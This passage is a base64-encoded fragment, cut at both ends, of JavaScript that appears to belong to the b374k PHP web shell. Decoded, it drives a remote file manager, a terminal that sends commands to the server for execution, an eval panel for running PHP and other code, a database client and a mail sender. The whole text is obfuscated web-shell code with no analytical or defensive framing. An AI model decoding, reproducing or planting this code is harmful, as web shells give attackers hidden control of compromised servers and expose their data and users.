wnKS5sZW5ndGg7CglpZih0b3RhbFNlbGVjdGVkPT0wKSAkKCcueHBsU2VsZWN0ZWQnKS5odG1sKCcnKTsKCWVsc2UgJCgnLnhwbFNlbGVjdGVkJykuaHRtbCgnLCAnK3RvdGFsU2VsZWN0ZWQrJyBpdGVtKHMpIHNlbGVjdGVkJyk7Cn0KCgpmdW5jdGlvbiB4cGxfYmluZCgpewoJJCgnLm5hdmlnYXRlJykub2ZmKCdjbGljaycpOwoJJCgnLm5hdmlnYXRlJykub24oJ2NsaWNrJywgZnVuY3Rpb24oZSl7CgkJcGF0aCA9IHhwbF9ocmVmKCQodGhpcykpOwoJCW5hdmlnYXRlKHBhdGgpOwoJCWhpZGVfYm94KCk7Cgl9KTsKCgkkKCcubmF2YmFyJykub2ZmKCdjbGljaycpOwoJJCgnLm5hdmJhcicpLm9uKCdjbGljaycsIGZ1bmN0aW9uKGUpewoJCXBhdGggPSAkKHRoaXMpLmF0dHIoJ2RhdGEtcGF0aCcpOwoJCW5hdmlnYXRlKHBhdGgpOwoJCWhpZGVfYm94KCk7Cgl9KTsKCgkkKCcubmV3Zm9sZGVyJykub2ZmKCdjbGljaycpOwoJJCgnLm5ld2ZvbGRlcicpLm9uKCdjbGljaycsIGZ1bmN0aW9uKGUpewoJCXBhdGggPSBodG1sX3NhZmUoeHBsX2hyZWYoJCh0aGlzKSkpOwoJCW5ld2ZvbGRlcihwYXRoKTsKCX0pOwoKCSQoJy5uZXdmaWxlJykub2ZmKCdjbGljaycpOwoJJCgnLm5ld2ZpbGUnKS5vbignY2xpY2snLCBmdW5jdGlvbihlKXsKCQlwYXRoID0gaHRtbF9zYWZlKHhwbF9ocmVmKCQodGhpcykpKTsKCQluZXdmaWxlKHBhdGgpOwoJfSk7CgoJJCgnLmRlbCcpLm9mZignY2xpY2snKTsKCSQoJy5kZWwnKS5vbignY2xpY2snLCBmdW5jdGlvbihlKXsKCQlwYXRoID0gaHRtbF9zYWZlKHhwbF9ocmVmKCQodGhpcykpKTsKCQlkZWwocGF0aCk7Cgl9KTsKCgkkKCcudmlldycpLm9mZignY2xpY2snKTsKCSQoJy52aWV3Jykub24oJ2NsaWNrJywgZnVuY3Rpb24oZSl7CgkJcGF0aCA9IHhwbF9ocmVmKCQodGhpcykpOwoJCXZpZXcocGF0aCwgJ2F1dG8nKTsKCQloaWRlX2JveCgpOwoJfSk7CgoJJCgnLmhleCcpLm9mZignY2xpY2snKTsKCSQoJy5oZXgnKS5vbignY2xpY2snLCBmdW5jdGlvbihlKXsKCQlwYXRoID0geHBsX2hyZWYoJCh0aGlzKSk7CgkJdmlldyhwYXRoLCAnaGV4Jyk7Cgl9KTsKCgkkKCcjdmlld0Z1bGxzaXplJykub2ZmKCdjbGljaycpOwoJJCgnI3ZpZXdGdWxsc2l6ZScpLm9uKCdjbGljaycsIGZ1bmN0aW9uKGUpewoJCXNyYyA9ICQoJyN2aWV3SW1hZ2UnKS5hdHRyKCdzcmMnKTsKCQl3aW5kb3cub3BlbihzcmMpOwoJfSk7CgoJJCgnLmVkaXQnKS5vZmYoJ2NsaWNrJyk7CgkkKCcuZWRpdCcpLm9uKCdjbGljaycsIGZ1bmN0aW9uKGUpewoJCXBhdGggPSB4cGxfaHJlZigkKHRoaXMpKTsKCQl2aWV3KHBhdGgsICdlZGl0Jyk7CgkJaGlkZV9ib3goKTsKCX0pOwoKCSQoJy5yZW4nKS5vZmYoJ2NsaWNrJyk7CgkkKCcucmVuJykub24oJ2NsaWNrJywgZnVuY3Rpb24oZSl7CgkJcGF0aCA9IGh0bWxfc2FmZSh4cGxfaHJlZigkKHRoaXMpKSk7CgkJcmVuKHBhdGgpOwoJfSk7CgoJJCgnLmFjdGlvbicpLm9mZignY2xpY2snKTsKCSQoJy5hY3Rpb24nKS5vbignY2xpY2snLCBmdW5jdGlvbihlKXsKCQlwYXRoID0gaHRtbF9zYWZlKHhwbF9ocmVmKCQodGhpcykpKTsKCQlhY3Rpb24ocGF0aCwgJ2ZpbGUnKTsKCX0pOwoKCSQoJy5hY3Rpb25mb2xkZXInKS5vZmYoJ2NsaWNrJyk7CgkkKCcuYWN0aW9uZm9sZGVyJykub24oJ2NsaWNrJywgZnVuY3Rpb24oZSl7CgkJcGF0aCA9IGh0bWxfc2FmZSh4cGxfaHJlZigkKHRoaXMpKSk7CgkJYWN0aW9uKHBhdGgsICdkaXInKTsKCX0pOwoKCSQoJy5hY3Rpb25kb3QnKS5vZmYoJ2NsaWNrJyk7CgkkKCcuYWN0aW9uZG90Jykub24oJ2NsaWNrJywgZnVuY3Rpb24oZSl7CgkJcGF0aCA9IGh0bWxfc2FmZSh4cGxfaHJlZigkKHRoaXMpKSk7CgkJYWN0aW9uKHBhdGgsICdkb3QnKTsKCX0pOwoKCSQoJy5kbCcpLm9mZignY2xpY2snKTsKCSQoJy5kbCcpLm9uKCdjbGljaycsIGZ1bmN0aW9uKGUpewoJCXBhdGggPSBodG1sX3NhZmUoeHBsX2hyZWYoJCh0aGlzKSkpOwoJCSQoJyNmb3JtJykuYXBwZW5kKCI8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdkb3dubG9hZCcgdmFsdWU9JyIrcGF0aCsiJz4iKTsKCQkkKCcjZm9ybScpLnN1Ym1pdCgpOwoJCSQoJyNmb3JtJykuaHRtbCgnJyk7CgkJaGlkZV9ib3goKTsKCX0pOwoKCSQoJy51bCcpLm9mZignY2xpY2snKTsKCSQoJy51bCcpLm9uKCdjbGljaycsIGZ1bmN0aW9uKGUpewoJCXBhdGggPSB4cGxfaHJlZigkKHRoaXMpKTsKCQluYXZpZ2F0ZShwYXRoLCBmYWxzZSk7CgkJcGF0aCA9IGh0bWxfc2FmZShwYXRoKTsKCQl1bChwYXRoKTsKCQloaWRlX2JveCgpOwoJfSk7CgoJJCgnLmZpbmQnKS5vZmYoJ2NsaWNrJyk7CgkkKCcuZmluZCcpLm9uKCdjbGljaycsIGZ1bmN0aW9uKGUpewoJCXBhdGggPSB4cGxfaHJlZigkKHRoaXMpKTsKCQluYXZpZ2F0ZShwYXRoLCBmYWxzZSk7CgkJcGF0aCA9IGh0bWxfc2FmZShwYXRoKTsKCQlmaW5kKHBhdGgpOwoJCWhpZGVfYm94KCk7Cgl9KTsKCgkkKCcjbWFzc0FjdGlvbicpLm9mZignY2xpY2snKTsKCSQoJyNtYXNzQWN0aW9uJykub24oJ2NoYW5nZScsIGZ1bmN0aW9uKGUpewoJCXR5cGUgPSAkKCcjbWFzc0FjdGlvbicpLnZhbCgpOwoJCW1hc3NfYWN0KHR5cGUpOwoJCSQoJyNtYXNzQWN0aW9uJykudmFsKCdBY3Rpb24nKTsKCX0pOwoKCWNib3hfYmluZCgneHBsVGFibGUnLCd4cGxfdXBkYXRlX3N0YXR1cycpOwp9CgpmdW5jdGlvbiB4cGxfaHJlZihlbCl7CglyZXR1cm4gZWwucGFyZW50KCkucGFyZW50KCkuYXR0cignZGF0YS1wYXRoJyk7Cn0KCmZ1bmN0aW9uIG11bHRpbWVkaWEocGF0aCl7Cgl2YXIgYSA9ICQoJ3ZpZGVvJykuZ2V0KDApOwoJc2VuZF9wb3N0KHttdWx0aW1lZGlhOnBhdGh9LCBmdW5jdGlvbihyZXMpewoJCWEuc3JjID0gcmVzOwoJfSk7CgloaWRlX2JveCgpOwp9CgokKCcjdGVybWluYWxJbnB1dCcpLm9uKCdrZXlkb3duJywgZnVuY3Rpb24oZSl7CglpZihlLmtleUNvZGU9PTEzKXsKCQljbWQgPSAkKCcjdGVybWluYWxJbnB1dCcpLnZhbCgpOwoJCXRlcm1pbmFsSGlzdG9yeS5wdXNoKGNtZCk7CgkJdGVybWluYWxIaXN0b3J5UG9zID0gdGVybWluYWxIaXN0b3J5Lmxlbmd0aDsKCQlpZihjbWQ9PSdjbGVhcid8fGNtZD09J2NscycpewoJCQkkKCcjdGVybWluYWxPdXRwdXQnKS5odG1sKCcnKTsKCQl9CgkJZWxzZSBpZigocGF0aCA9IGNtZC5tYXRjaCgvY2QoLiopL2kpKSB8fCAocGF0aCA9IGNtZC5tYXRjaCgvXihbYS16XTopJC9pKSkpewoJCQlwYXRoID0gJC50cmltKHBhdGhbMV0pOwoJCQluYXZpZ2F0ZShwYXRoKTsKCQl9CgkJZWxzZSBpZihjbWQhPScnKXsKCQkJc2VuZF9wb3N0KHsgdGVybWluYWxJbnB1dDogY21kIH0sIGZ1bmN0aW9uKHJlcyl7CgkJCQljd2QgPSBodG1sX3NhZmUoZ2V0X2N3ZCgpKTsKCQkJCXJlcyA9ICc8c3BhbiBjbGFzcz1cJ3N0cm9uZ1wnPicrY3dkKycmZ3Q7PC9zcGFuPicraHRtbF9zYWZlKGNtZCkrICdcbicgKyByZXMrJ1xuJzsKCQkJCSQoJyN0ZXJtaW5hbE91dHB1dCcpLmFwcGVuZChyZXMpOwoJCQkJYm90dG9tID0gJChkb2N1bWVudCkuaGVpZ2h0KCktJCh3aW5kb3cpLmhlaWdodCgpOwoJCQkJJCh3aW5kb3cpLnNjcm9sbFRvcChib3R0b20pOwoJCQl9KTsKCQl9CgkJJCgnI3Rlcm1pbmFsSW5wdXQnKS52YWwoJycpOwoJCXNldFRpbWVvdXQoIiQoJyN0ZXJtaW5hbElucHV0JykuZm9jdXMoKSIsMTAwKTsKCX0KCWVsc2UgaWYoZS5rZXlDb2RlPT0zOCl7CgkJaWYodGVybWluYWxIaXN0b3J5UG9zPjApewoJCQl0ZXJtaW5hbEhpc3RvcnlQb3MtLTsKCQkJJCgnI3Rlcm1pbmFsSW5wdXQnKS52YWwodGVybWluYWxIaXN0b3J5W3Rlcm1pbmFsSGlzdG9yeVBvc10pOwoJCQlpZih0ZXJtaW5hbEhpc3RvcnlQb3M8MCkgdGVybWluYWxIaXN0b3J5UG9zID0gMDsKCQl9Cgl9CgllbHNlIGlmKGUua2V5Q29kZT09NDApewoJCWlmKHRlcm1pbmFsSGlzdG9yeVBvczx0ZXJtaW5hbEhpc3RvcnkubGVuZ3RoLTEpewoJCQl0ZXJtaW5hbEhpc3RvcnlQb3MrKzsKCQkJJCgnI3Rlcm1pbmFsSW5wdXQnKS52YWwodGVybWluYWxIaXN0b3J5W3Rlcm1pbmFsSGlzdG9yeVBvc10pOwoJCQlpZih0ZXJtaW5hbEhpc3RvcnlQb3M+dGVybWluYWxIaXN0b3J5Lmxlbmd0aCkgdGVybWluYWxIaXN0b3J5UG9zID0gdGVybWluYWxIaXN0b3J5Lmxlbmd0aDsKCQl9Cgl9CglmaXhfdGFiY2hhcih0aGlzLCBlKTsKfSk7CgpmdW5jdGlvbiBldmFsX2dvKCl7CglldmFsVHlwZSA9ICQoJyNldmFsVHlwZScpLnZhbCgpOwoJZXZhbElucHV0ID0gJCgnI2V2YWxJbnB1dCcpLnZhbCgpOwoJZXZhbE9wdGlvbnMgPSAkKCcjZXZhbE9wdGlvbnMnKS52YWwoKTsKCWV2YWxBcmd1bWVudHMgPSAkKCcjZXZhbEFyZ3VtZW50cycpLnZhbCgpOwoKCWlmKGV2YWxPcHRpb25zPT0nT3B0aW9ucy9Td2l0Y2hlcycpIGV2YWxPcHRpb25zID0gJyc7CglpZihldmFsQXJndW1lbnRzPT0nQXJndW1lbnRzJykgZXZhbEFyZ3VtZW50cyA9ICcnOwoKCWlmKCQudHJpbShldmFsSW5wdXQpIT0nJyl7CgkJc2VuZF9wb3N0KHsgZXZhbElucHV0OmV2YWxJbnB1dCwgZXZhbFR5cGU6ZXZhbFR5cGUsIGV2YWxPcHRpb25zOmV2YWxPcHRpb25zLCBldmFsQXJndW1lbnRzOmV2YWxBcmd1bWVudHMgfSwKCQkJZnVuY3Rpb24ocmVzKXsKCQkJCWlmKHJlcyE9J2Vycm9yJyl7CgkJCQkJc3BsaXRzID0gcmVzLnNwbGl0KCd7W3xiMzc0a3xdfScpOwoJCQkJCWlmKHNwbGl0cy5sZW5ndGg9PTIpewoJCQkJCQlvdXRwdXQgPSBzcGxpdHNbMF0rIjxocj4iK3NwbGl0c1sxXTsKCQkJCQkJJCgnI2V2YWxPdXRwdXQnKS5odG1sKG91dHB1dCk7CgkJCQkJfQoJCQkJCWVsc2V7CgkJCQkJCSQoJyNldmFsT3V0cHV0JykuaHRtbChyZXMpOwoJCQkJCX0KCQkJCX0KCQkJfQoJCSk7Cgl9Cn0KCmZ1bmN0aW9uIGV2YWxfaW5pdCgpewoJaWYoKGV2YWxTdXBwb3J0ZWQgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnZXZhbFN1cHBvcnRlZCcpKSl7CgkJZXZhbF9iaW5kKCk7CgkJb3V0cHV0KCJldmFsIDogIitldmFsU3VwcG9ydGVkKTsKCQlldmFsUmVhZHkgPSB0cnVlOwoJfQoJZWxzZXsKCQlzZW5kX3Bvc3Qoe2V2YWxHZXRTdXBwb3J0ZWQ6ImV2YWxHZXRTdXBwb3J0ZWQifSwgZnVuY3Rpb24ocmVzKXsKCQkJZXZhbFJlYWR5ID0gdHJ1ZTsKCQkJaWYocmVzIT0iZXJyb3IiKXsKCQkJCWxvY2FsU3RvcmFnZS5zZXRJdGVtKCdldmFsU3VwcG9ydGVkJywgcmVzKTsKCQkJCWV2YWxTdXBwb3J0ZWQgPSByZXM7CgkJCQlldmFsX2JpbmQoKTsKCQkJCW91dHB1dCgiZXZhbCA6ICIrZXZhbFN1cHBvcnRlZCk7CgkJCX0KCQl9KTsKCX0KfQoKZnVuY3Rpb24gZXZhbF9iaW5kKCl7CglpZigoZXZhbFN1cHBvcnRlZCE9bnVsbCkmJihldmFsU3VwcG9ydGVkIT0nJykpewoJCXNwbGl0cyA9IGV2YWxTdXBwb3J0ZWQuc3BsaXQoIiwiKTsKCQkkLmVhY2goc3BsaXRzLCBmdW5jdGlvbihpLCBrKXsKCQkJJCgnI2V2YWxUeXBlJykuYXBwZW5kKCI8b3B0aW9uPiIraysiPC9vcHRpb24+Iik7CgkJfSk7Cgl9CgkkKCcjZXZhbFR5cGUnKS5vbignY2hhbmdlJywgZnVuY3Rpb24oZSl7CgkJaWYoJCgnI2V2YWxUeXBlJykudmFsKCk9PSdwaHAnKXsKCQkJJCgnI2V2YWxBZGRpdGlvbmFsJykuaGlkZSgpOwoJCX0KCQllbHNlewoJCQkkKCcjZXZhbEFkZGl0aW9uYWwnKS5zaG93KCk7CgkJfQoJfSk7CgkkKCcjZXZhbE9wdGlvbnMnKS5vbignZm9jdXMnLCBmdW5jdGlvbihlKXsKCQlvcHRpb25zID0gJCgnI2V2YWxPcHRpb25zJyk7CgkJaWYob3B0aW9ucy52YWwoKT09J09wdGlvbnMvU3dpdGNoZXMnKSBvcHRpb25zLnZhbCgnJyk7Cgl9KTsKCSQoJyNldmFsT3B0aW9ucycpLm9uKCdibHVyJywgZnVuY3Rpb24oZSl7CgkJb3B0aW9ucyA9ICQoJyNldmFsT3B0aW9ucycpOwoJCWlmKCQudHJpbShvcHRpb25zLnZhbCgpKT09JycpIG9wdGlvbnMudmFsKCdPcHRpb25zL1N3aXRjaGVzJyk7Cgl9KTsKCSQoJyNldmFsQXJndW1lbnRzJykub24oJ2ZvY3VzJywgZnVuY3Rpb24oZSl7CgkJYXJncyA9ICQoJyNldmFsQXJndW1lbnRzJyk7CgkJaWYoYXJncy52YWwoKT09J0FyZ3VtZW50cycpIGFyZ3MudmFsKCcnKTsKCX0pOwoJJCgnI2V2YWxBcmd1bWVudHMnKS5vbignYmx1cicsIGZ1bmN0aW9uKGUpewoJCWFyZ3MgPSAkKCcjZXZhbEFyZ3VtZW50cycpOwoJCWlmKCQudHJpbShhcmdzLnZhbCgpKT09JycpIGFyZ3MudmFsKCdBcmd1bWVudHMnKTsKCX0pOwoKCSQoJyNldmFsSW5wdXQnKS5vbigna2V5ZG93bicsIGZ1bmN0aW9uKGUpewoJCWlmKGUuY3RybEtleSAmJiAoZS5rZXlDb2RlID09IDEwIHx8IGUua2V5Q29kZSA9PSAxMykpewoJCQlldmFsX2dvKCk7CgkJfQoJCWZpeF90YWJjaGFyKHRoaXMsIGUpOwoJfSk7Cn0KWmVwdG8oZnVuY3Rpb24oJCl7CgkkKCcjZGVjb2RlU3RyJykub24oJ2tleWRvd24nLCBmdW5jdGlvbihlKXsKCQlpZihlLmN0cmxLZXkgJiYgKGUua2V5Q29kZSA9PSAxMCB8fCBlLmtleUNvZGUgPT0gMTMpKXsKCQkJZGVjb2RlX2dvKCk7CgkJfQoJCWZpeF90YWJjaGFyKHRoaXMsIGUpOwoJfSk7Cn0pOwoKZnVuY3Rpb24gZGVjb2RlX2dvKCl7CglkZWNvZGVTdHIgPSAkKCcjZGVjb2RlU3RyJykudmFsKCk7CglzZW5kX3Bvc3Qoe2RlY29kZVN0cjpkZWNvZGVTdHJ9LCBmdW5jdGlvbihyZXMpewoJCWlmKHJlcyE9J2Vycm9yJyl7CgkJCSQoJyNkZWNvZGVSZXN1bHQnKS5odG1sKCcnKTsKCQkJJCgnI2RlY29kZVJlc3VsdCcpLmh0bWwocmVzKTsKCQl9Cgl9KTsKfQoKClplcHRvKGZ1bmN0aW9uKCQpewoJZGJfaW5pdCgpOwoKfSk7Cgp2YXIgZGJTdXBwb3J0ZWQgPSAiIjsKdmFyIGRiUGFnZUxpbWl0ID0gNTA7CgpmdW5jdGlvbiBkYl9pbml0KCl7CglpZigoZGJTdXBwb3J0ZWQgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnZGJfc3VwcG9ydGVkJykpKXsKCQlkYl9iaW5kKCk7CgkJb3V0cHV0KCJkYiA6ICIrZGJTdXBwb3J0ZWQpOwoJCWRiX2FkZF9zdXBwb3J0ZWQoKTsKCX0KCWVsc2V7CgkJc2VuZF9wb3N0KHtkYkdldFN1cHBvcnRlZDoiIn0sIGZ1bmN0aW9uKHJlcyl7CgkJCWlmKHJlcyE9ImVycm9yIil7CgkJCQlsb2NhbFN0b3JhZ2Uuc2V0SXRlbSgnZGJTdXBwb3J0ZWQnLCByZXMpOwoJCQkJZGJTdXBwb3J0ZWQgPSByZXM7CgkJCQlkYl9iaW5kKCk7CgkJCQlvdXRwdXQoImRiIDogIitkYlN1cHBvcnRlZCk7CgkJCQlkYl9hZGRfc3VwcG9ydGVkKCk7CgkJCX0KCQl9KTsKCX0KfQoKZnVuY3Rpb24gZGJfYWRkX3N1cHBvcnRlZCgpewoJc3BsaXRzID0gZGJTdXBwb3J0ZWQuc3BsaXQoIiwiKTsKCSQuZWFjaChzcGxpdHMsIGZ1bmN0aW9uKGksIGspewoJCSQoJyNkYlR5cGUnKS5hcHBlbmQoIjxvcHRpb24+IitrKyI8L29wdGlvbj4iKTsKCX0pOwp9CgpmdW5jdGlvbiBkYl9iaW5kKCl7CgkkKCcjZGJUeXBlJykub24oJ2NoYW5nZScsIGZ1bmN0aW9uKGUpewoJCXR5cGUgPSAkKCcjZGJUeXBlJykudmFsKCk7CgkJaWYoKHR5cGU9PSdvZGJjJyl8fCh0eXBlPT0ncGRvJykpewoJCQkkKCcuZGJIb3N0TGJsJykuaHRtbCgnRFNOIC8gQ29ubmVjdGlvbiBTdHJpbmcnKTsKCQkJJCgnLmRiVXNlclJvdycpLnNob3coKTsKCQkJJCgnLmRiUGFzc1JvdycpLnNob3coKTsKCQkJJCgnLmRiUG9ydFJvdycpLmhpZGUoKTsKCgkJfQoJCWVsc2UgaWYoKHR5cGU9PSdzcWxpdGUnKXx8KHR5cGU9PSdzcWxpdGUzJykpewoJCQkkKCcuZGJIb3N0TGJsJykuaHRtbCgnREIgRmlsZScpOwoJCQkkKCcuZGJVc2VyUm93JykuaGlkZSgpOwoJCQkkKCcuZGJQYXNzUm93JykuaGlkZSgpOwoJCQkkKCcuZGJQb3J0Um93JykuaGlkZSgpOwoKCQl9CgkJZWxzZXsKCQkJJCgnLmRiSG9zdExibCcpLmh0bWwoJ0hvc3QnKTsKCQkJJCgnLmRiVXNlclJvdycpLnNob3coKTsKCQkJJCgnLmRiUGFzc1JvdycpLnNob3coKTsKCQkJJCgnLmRiUG9ydFJvdycpLnNob3coKTsKCQl9Cgl9KTsKCgkkKCcjZGJRdWVyeScpLm9uKCdmb2N1cycsIGZ1bmN0aW9uKGUpewoJCWlmKCQoJyNkYlF1ZXJ5JykudmFsKCk9PSdZb3UgY2FuIGFsc28gcHJlc3MgY3RybCtlbnRlciB0byBzdWJtaXQnKXsKCQkJJCgnI2RiUXVlcnknKS52YWwoJycpOwoJCX0KCX0pOwoJJCgnI2RiUXVlcnknKS5vbignYmx1cicsIGZ1bmN0aW9uKGUpewoJCWlmKCQoJyNkYlF1ZXJ5JykudmFsKCk9PScnKXsKCQkJJCgnI2RiUXVlcnknKS52YWwoJ1lvdSBjYW4gYWxzbyBwcmVzcyBjdHJsK2VudGVyIHRvIHN1Ym1pdCcpOwoJCX0KCX0pOwoJJCgnI2RiUXVlcnknKS5vbigna2V5ZG93bicsIGZ1bmN0aW9uKGUpewoJCWlmKGUuY3RybEtleSAmJiAoZS5rZXlDb2RlID09IDEwIHx8IGUua2V5Q29kZSA9PSAxMykpewoJCQlkYl9ydW4oKTsKCQl9Cgl9KTsKfQoKZnVuY3Rpb24gZGJfbmF2X2JpbmQoKXsKCWRiVHlwZSA9ICQoJyNkYlR5cGUnKS52YWwoKTsKCSQoJy5ib3hOYXYnKS5vZmYoJ2NsaWNrJyk7CgkkKCcuYm94TmF2Jykub24oJ2NsaWNrJywgZnVuY3Rpb24oKXsKCQkkKHRoaXMpLm5leHQoKS50b2dnbGUoKTsKCX0pOwoKCSQoJy5kYlRhYmxlJykub2ZmKCdjbGljaycpOwoJJCgnLmRiVGFibGUnKS5vbignY2xpY2snLCBmdW5jdGlvbigpewoJCXR5cGUgPSAkKCcjZGJUeXBlJykudmFsKCk7CgkJdGFibGUgPSAkKHRoaXMpLmh0bWwoKTsKCQlkYiA9ICQodGhpcykucGFyZW50KCkucGFyZW50KCkucGFyZW50KCkucHJldigpLmh0bWwoKTsKCQlkYl9xdWVyeV90YmwodHlwZSwgZGIsIHRhYmxlLCAwLCBkYlBhZ2VMaW1pdCk7Cgl9KTsKfQoKZnVuY3Rpb24gZGJfY29ubmVjdCgpewoJZGJUeXBlID0gJCgnI2RiVHlwZScpLnZhbCgpOwoJZGJIb3N0ID0gJCgnI2RiSG9zdCcpLnZhbCgpOwoJZGJVc2VyID0gJCgnI2RiVXNlcicpLnZhbCgpOwoJZGJQYXNzID0gJCgnI2RiUGFzcycpLnZhbCgpOwoJZGJQb3J0ID0gJCgnI2RiUG9ydCcpLnZhbCgpOwoJc2VuZF9wb3N0KHtkYlR5cGU6ZGJUeXBlLCBkYkhvc3Q6ZGJIb3N0LCBkYlVzZXI6ZGJVc2VyLCBkYlBhc3M6ZGJQYXNzLCBkYlBvcnQ6ZGJQb3J0fSwgZnVuY3Rpb24ocmVzKXsKCQlpZihyZXMhPSdlcnJvcicpewoJCQkkKCcjZGJOYXYnKS5odG1sKHJlcyk7CgkJCSQoJy5kYkhvc3RSb3cnKS5oaWRlKCk7CgkJCSQoJy5kYlVzZXJSb3cnKS5oaWRlKCk7CgkJCSQoJy5kYlBhc3NSb3cnKS5oaWRlKCk7CgkJCSQoJy5kYlBvcnRSb3cnKS5oaWRlKCk7CgkJCSQoJy5kYkNvbm5lY3RSb3cnKS5oaWRlKCk7CgkJCSQoJy5kYlF1ZXJ5Um93Jykuc2hvdygpOwoJCQkkKCcjZGJCb3R0b20nKS5zaG93KCk7CgkJCWRiX25hdl9iaW5kKCk7CgkJfQoJCWVsc2UgJCgnLmRiRXJyb3InKS5odG1sKCdVbmFibGUgdG8gY29ubmVjdCcpOwoJfSk7Cn0KCmZ1bmN0aW9uIGRiX2Rpc2Nvbm5lY3QoKXsKCSQoJy5kYkhvc3RSb3cnKS5zaG93KCk7CgkkKCcuZGJVc2VyUm93Jykuc2hvdygpOwoJJCgnLmRiUGFzc1JvdycpLnNob3coKTsKCSQoJy5kYlBvcnRSb3cnKS5zaG93KCk7CgkkKCcuZGJDb25uZWN0Um93Jykuc2hvdygpOwoJJCgnLmRiUXVlcnlSb3cnKS5oaWRlKCk7CgkkKCcjZGJOYXYnKS5odG1sKCcnKTsKCSQoJyNkYlJlc3VsdCcpLmh0bWwoJycpOwoJJCgnI2RiQm90dG9tJykuaGlkZSgpOwp9CgpmdW5jdGlvbiBkYl9ydW4oKXsKCWRiVHlwZSA9ICQoJyNkYlR5cGUnKS52YWwoKTsKCWRiSG9zdCA9ICQoJyNkYkhvc3QnKS52YWwoKTsKCWRiVXNlciA9ICQoJyNkYlVzZXInKS52YWwoKTsKCWRiUGFzcyA9ICQoJyNkYlBhc3MnKS52YWwoKTsKCWRiUG9ydCA9ICQoJyNkYlBvcnQnKS52YWwoKTsKCWRiUXVlcnkgPSAkKCcjZGJRdWVyeScpLnZhbCgpOwoKCWlmKChkYlF1ZXJ5IT0nJykmJihkYlF1ZXJ5IT0nWW91IGNhbiBhbHNvIHByZXNzIGN0cmwrZW50ZXIgdG8gc3VibWl0JykpewoJCXNlbmRfcG9zdCh7ZGJUeXBlOmRiVHlwZSwgZGJIb3N0OmRiSG9zdCwgZGJVc2VyOmRiVXNlciwgZGJQYXNzOmRiUGFzcywgZGJQb3J0OmRiUG9ydCwgZGJRdWVyeTpkYlF1ZXJ5fSwgZnVuY3Rpb24ocmVzKXsKCQkJaWYocmVzIT0nZXJyb3InKXsKCQkJCSQoJyNkYlJlc3VsdCcpLmh0bWwocmVzKTsKCQkJCSQoJy50YmxSZXN1bHQnKS5lYWNoKGZ1bmN0aW9uKCl7CgkJCQkJc29ydHRhYmxlLmsodGhpcyk7CgkJCQl9KTsKCQkJfQoJCX0pOwoJfQp9CgpmdW5jdGlvbiBkYl9xdWVyeV90YmwodHlwZSwgZGIsIHRhYmxlLCBzdGFydCwgbGltaXQpewoJZGJUeXBlID0gJCgnI2RiVHlwZScpLnZhbCgpOwoJZGJIb3N0ID0gJCgnI2RiSG9zdCcpLnZhbCgpOwoJZGJVc2VyID0gJCgnI2RiVXNlcicpLnZhbCgpOwoJZGJQYXNzID0gJCgnI2RiUGFzcycpLnZhbCgpOwoJZGJQb3J0ID0gJCgnI2RiUG9ydCcpLnZhbCgpOwoKCXNlbmRfcG9zdCh7ZGJUeXBlOmRiVHlwZSwgZGJIb3N0OmRiSG9zdCwgZGJVc2VyOmRiVXNlciwgZGJQYXNzOmRiUGFzcywgZGJQb3J0OmRiUG9ydCwgZGJRdWVyeTonJywgZGJEQjpkYiwgZGJUYWJsZTp0YWJsZSwgZGJTdGFydDpzdGFydCwgZGJMaW1pdDpsaW1pdH0sIGZ1bmN0aW9uKHJlcyl7CgkJaWYocmVzIT0nZXJyb3InKXsKCQkJJCgnI2RiUmVzdWx0JykuaHRtbChyZXMpOwoJCQkkKCcudGJsUmVzdWx0JykuZWFjaChmdW5jdGlvbigpewoJCQkJc29ydHRhYmxlLmsodGhpcyk7CgkJCX0pOwoJCX0KCX0pOwp9CgpmdW5jdGlvbiBkYl9wYWdpbmF0aW9uKHR5cGUpewoJZGIgPSAkKCcjZGJEQicpLnZhbCgpOwoJdGFibGUgPSAkKCcjZGJUYWJsZScpLnZhbCgpOwoJc3RhcnQgPSBwYXJzZUludCgkKCcjZGJTdGFydCcpLnZhbCgpKTsKCWxpbWl0ID0gcGFyc2VJbnQoJCgnI2RiTGltaXQnKS52YWwoKSk7CglkYlR5cGUgPSAkKCcjZGJUeXBlJykudmFsKCk7CgoJaWYodHlwZT09J25leHQnKXsKCQlzdGFydCA9IHN0YXJ0K2xpbWl0OwoJfQoJZWxzZSBpZih0eXBlPT0ncHJldicpewoJCXN0YXJ0ID0gc3RhcnQtbGltaXQ7CgkJaWYoc3RhcnQ8MCkgc3RhcnQgPSAwOwoJfQoJZGJfcXVlcnlfdGJsKGRiVHlwZSwgZGIsIHRhYmxlLCBzdGFydCwgbGltaXQpOwp9CgpaZXB0byhmdW5jdGlvbigkKXsKCWluZm9faW5pdCgpOwoKfSk7CgpmdW5jdGlvbiBpbmZvX2luaXQoKXsKCWlmKChpbmZvUmVzdWx0ID0gbG9jYWxTdG9yYWdlLmdldEl0ZW0oJ2luZm9SZXN1bHQnKSkpewoJCSQoJy5pbmZvUmVzdWx0JykuaHRtbChpbmZvUmVzdWx0KTsKCX0KCWVsc2V7CgkJaW5mb19yZWZyZXNoKCk7Cgl9Cn0KCmZ1bmN0aW9uIGluZm9fdG9nZ2xlKGlkKXsKCSQoJyMnK2lkKS50b2dnbGUoKTsKfQoKZnVuY3Rpb24gaW5mb19yZWZyZXNoKCl7CglzZW5kX3Bvc3Qoe2luZm9SZWZyZXNoOidpbmZvUmVmcmVzaCd9LCBmdW5jdGlvbihyZXMpewoJCSQoJy5pbmZvUmVzdWx0JykuaHRtbChyZXMpOwoJCWxvY2FsU3RvcmFnZS5zZXRJdGVtKCdpbmZvUmVzdWx0JywgcmVzKTsKCX0pOwp9CgpaZXB0byhmdW5jdGlvbigkKXsKCn0pOwoKZnVuY3Rpb24gbWFpbF9zZW5kKCl7CgltYWlsRnJvbSA9ICQudHJpbSgkKCcjbWFpbEZyb20nKS52YWwoKSk7CgltYWlsVG8gPSAkLnRyaW0oJCgnI21haWxUbycpLnZhbCgpKTsKCW1haWxTdWJqZWN0ID0gJC50cmltKCQoJyNtYWlsU3ViamVjdCcpLnZhbCgpKTsKCW1haWxDb250ZW50ID0gJCgnI21haWxDb250ZW50JykudmFsKCk7CgltYWlsQXR0YWNobWVudCA9ICcnOwoJaWYoJCgnLm1haWxBdHRhY2htZW50JykpewoJCW1haWxBdHRhY2htZW50ID0gJCgnLm1haWxBdHRhY2htZW50JykubWFwKGZ1bmN0aW9uKCl7IHJldHVybiB0aGlzLnZhbHVlOyB9KS